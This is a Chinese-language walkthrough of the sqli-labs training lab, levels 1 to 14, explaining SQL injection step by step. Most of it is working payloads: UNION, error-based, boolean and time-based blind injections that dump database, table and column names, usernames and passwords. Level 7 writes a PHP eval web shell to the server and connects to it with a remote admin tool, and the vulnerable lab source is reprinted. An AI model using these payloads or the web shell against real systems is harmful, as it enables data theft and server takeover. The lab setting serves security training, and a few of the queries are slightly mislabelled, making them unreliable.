读写文件
此状态不允许导入导出状态
修改限制成功
– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。
显示位:
这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。
-
information_schema:表示所有信息,包括库、表、列
-
information_schema.tables:记录所有表名信息的表
-
information_schema.columns:记录所有列名信息的表
-
table_schema:数据库的名称
-
table_name:表名
-
column_name:列名
-
group_concat():显示所有查询到的数据
-
concat()函数
1)、功能:将多个字符串连接成一个字符串。
2)、语法:concat(str1, str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
-
limit子句用于限制查询结果返回的数量。
用法:【select * from tableName limit i,n 】
参数
- tableName : 为数据表;
- i : 为查询结果的索引值(默认从0开始);
- n : 为查询结果返回的数量
Less-1
1.经过语句
1 and 1=2 --+
测试 ,页面回显正常,所以该地方不是数值查询
2.接着尝试在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入
3.判断注入类型:
1).假设为数字型:
1 and 1=1
1 and 1=2
都回显正常,说明不是数字型
2).假设为字符型
1' and '1'='1
1' and '1'='2
当执行1’ and ‘1’='2语句时,页面返回异常,确定为字符型注入
4.order by猜解字段
?id=1' order by 3--+
?id=1' order by 4--+
order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。
5.确定显示位
知道了表中的列数我们还需要查询回显位,因为虽然知道了列数,但我们需要sql注入返回信息到我们手中。对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个字段数会回显,所以我们用union select 1,2,3来查看回显位。
union select后面加数字串时,如果没有后面的表名,该语句没有向任何一个数据库查询,那么它输出的内容就是我们select后的数字(数字串不一定要1,2,3,也可以是随便的数字如1,342,3522)。
所以这个时候我们可以用union select 1,2,3来做一个快速查询,根据显示在页面上的数字判断哪个数字所在的地方是“通道”,那我们只需要把这个数字改成我们要查询的内容就好了。
利用联合查询语句,是前面的查询语句失效,然后利用select语句在表的添加一条临时的记录1,2,3,使页面显示对应的数字,从而判断网页中显示的是哪几个字段的数据信息。如下图,对应的信息显示位为2和3,可以知道,当前查询语句查询的是表格的第2,3个字段的内容。
6.利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
注意 id=非正确值
库名:security
?id=-1' union select 1,2,database() --+
表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
可以显示指定数据库中的所有表名
列名:
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
密码:
?id=-1' union select 1,2,group_concat(password) from users --+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O1HVrU5h-1646486086872)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220302135108457.png)]
用户名:
?id=-1' union select 1,2,group_concat(username) from users --+
Less-2
1.判断是否存在sql注入,页面返回异常,存在sql注入
?id=1'
2.判断类型
根据语句,判断为数值型注入
?id=1 and 1=1
?id=1 and 1=2
3.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
接着可以使用联合查询进行注入,详细过程参考第一关
Less-3
通过基础判断,确定为字符型注入
输入语句查询数据:页面返回异常
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=(‘1’) …,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,执行sql语句查询数据即可
Less-4
与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入
1.当输入
?id=2" --+
时,页面显示不正常
2.当输入
?id=2") --+
页面正常
Less-5
看到这个报错信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
报错型注入:
count(*):函数返回给定选择中被选的函数
concat():连接字符串,比如 concat(‘a’,’b’) 就是ab
floor():向下取整
rand():随机数函数
rand(0):伪随机数,生成的随机数有规律
floor(rand(0)*2) :生成的随机数存在规律0110110011101
floor使用方法 and (select 1 from (select count(),concat((payload),floor (rand(0)\*2))x from information_schema.tables group by x)a) --+
floor报错注入满足的条件是数据库中要查询的数据至少3条以上
使用 floor()、count()、group by 的SQL 注入语句:
?id=1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+
我们输入的URL放入到sql语句中,就成了:
“select * from users where id=‘1’ and ( select 1 from ( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b ) --+ ’ LIMIT 0,1”
这时,一步一步分解 sql 语句可以看到
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )
的目的是将要查询信息的语句
select schema_name from information_schema.schemata limit 0,1
和 floor( rand( 0 )*2 )
用 concat() 连接起来,这样就可以通过报错,将要查询的信息爆出来了。
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x
当中的 x 是相当于给这一串字符添加了一个别名,即 x 就等于
concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) )
,
这样做的目的是,省得后面再次使用这一长条字符的时候麻烦,可以直接使用它的别名来代替。
所以,这条语句
select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x
就可以分解简单的看成
select count(*), x from information_schema.schemata group by x
这里的 x 就是上面讲到的一长串字符的别名,x 里面连接包含了要查询的语句和floor(rand(0)*2),是 floor() 报错的关键核心SQL语句。
但是如果就这样放到URL里面去执行肯定不行,因为没有和 select * from users where id=‘1’ 拼接到一起,不能一起执行,所以我们需要用到 and 运算符。
and 运算符简介:
and 运算符通常用在select,update,detele 语句的 where 子句中以形成布尔表达式。
and 运算符是组合两个或多个布尔表达式的逻辑运算符。
sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。这时,我们先将我们的语句变成这样:
( select count(*),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )*2 ) ) x from information_schema.schemata group by x ) b
就是给了这一长串字符一个别名:b
最后我们用到的 and 运算符,将 id = ‘1’ 与 这边结果连着一起,但是又必须是布尔型,就是说返还的结果不是 1,就是 0。所以我们就在 b 的基础上再执行查询,也就响应了为什么上面要给一个别名 b 了,因为sql语句要求在查询结果的基础上再执行查询时, 必须给定一个别名,这时用 select 1 from b 语句,返还布尔值,与 select * from users where id=‘1’ 连接在一起,这样就可以执行成功了。
可以更改 limt 子句后面的参数来决定显示出来的信息,因为报错信息的长度有限,不能直接全部输出出来。
报错注入的概念:
(1). 通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64位
(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
爆库名:
limit 0,1 数据库名为information_schema
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
limit 1,1 数据库名为blog1
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
以此类推。
但有种简便方法一步到位
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
爆表名:
users
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
爆列名:
修改limit x,1 可以遍历列名,找到username和password列
user pass
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
获取信息:
用户名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
密码
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
Less-6
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2’ 改为 ?id=2"即可
Less-7
数据库file权限
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令
使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。
1.我们正常输入?id=1页面回显如下
2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入
3.当我们输入?id=1’页面报错,说明可能存在"注入
4…当我们输入?id=1’ --+页面显示依然不正常
5.接着我们尝试?id=1’) --+,页面依然显示不正常
6.我们可以接着输入?id=1") --+尝试,发现页面回显正常
我们个简单题less-2直接注入拿到路径,方便导出。
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\12.php
注入less-7
payload
?id=1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "D:\\phpstudy_pro\\Extensions\\www\\12.php"--+
虽然回显报错,但是查看本地文件已经写入了12.php,接下来连接蚁剑。
连接之前最好用浏览器访问一下,相当于运行一下,否则可能连不上。
地址:php一句话木马的地址,后面的口令就是刚才写的post里写的pass
连接成功
Less-8
?id=1' --+
页面回显正常,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
?id=1' union select 1,2,3 into outfile "D:\\phpstudy_pro\\Extensions\\WWW\\88888.php"--+
上传成功
Less-9
看标题,应该是让我们用时间盲注,并且还有单引号对参数进行包装
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>
从源码可以看出,无论我们的SQL注入在后端拼接的语句是否正确,都只会给我返回you are in…这样的句子,所以不太符合布尔盲注的特征,就是有两个不一样的返回界面。
所以我们采用延时注入猜解数据
查询库名长度:
?id=1' if(length(database())=8,sleep(3),1)--+
产生延迟,所以库名长为8
猜数据库名第一位:
(如果数据错误,则会延迟)
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(10))--+
没有延迟,说明第一个字符是s,然后以此类推得出数据库名为security
猜表名第一位:
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(10))--+
会看到有明显的延迟
猜字段:
?id=1' if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+
产生延迟
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
猜值:
?id=1' and if(left((select password from user order by id limit 0,1),4)='dumb',sleep(5),1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
Less-10
GET - Blind - Time based - double quotes (基于时间的双引号盲注)
基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入。
11到21关的提交方式全是post型的,采用BP抓包实现猜解
Less-11
根据提示,因为是post方式提交,所以
1.输入admin admin 登陆,抓包,发送到repeater模块
在repeater中通过修改post的参数进行注入。
加入单引号存在sql注入,并报错,所以我们可以采用报错注入,也可以联合查询
说明是基于单引号的报错注入
我们用extractvalue()
爆库
admin' and extractvalue(1,concat('^',(select(database())),'^')) --+
爆表
admin' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
爆列名
admin' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+
爆值
admin' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
Less-12
双引号加括号报错型注入
可以使用上一题的payload只需要修改单引号为双引号加括号
爆库
admin") and extractvalue(1,concat('^',(select(database())),'^')) --+
爆表
admin") and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
爆列名
admin") and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+
爆值
admin") and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
Less-13
通过报错可知 是通过’) 闭合的,有回显,可通过报错注入获取数据
但发现没有登入成功返回信息
判断页面是否有布尔类型状态:
uname=admin') and ('1')=('1 --+&passwd=admin&submit=Submit
uname=admin') and ('1')=('2 --+&passwd=admin&submit=Submit
页面没有布尔状态,只能用延时注入
方法一,报错型
admin') and updatexml(1,concat('^',(select database()),'^'),1) --+
admin') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
最后得到用户名与密码:
admin') and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
方法二,时间型盲注
admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit
有延迟,说明注入成功
这就又和之前的一样了,按照时间盲注判断即可
Less-14
用双引号对参数进行了包装
有报错,绕过后不显示登陆成功:
和上题一样,采用报错注入和延时注入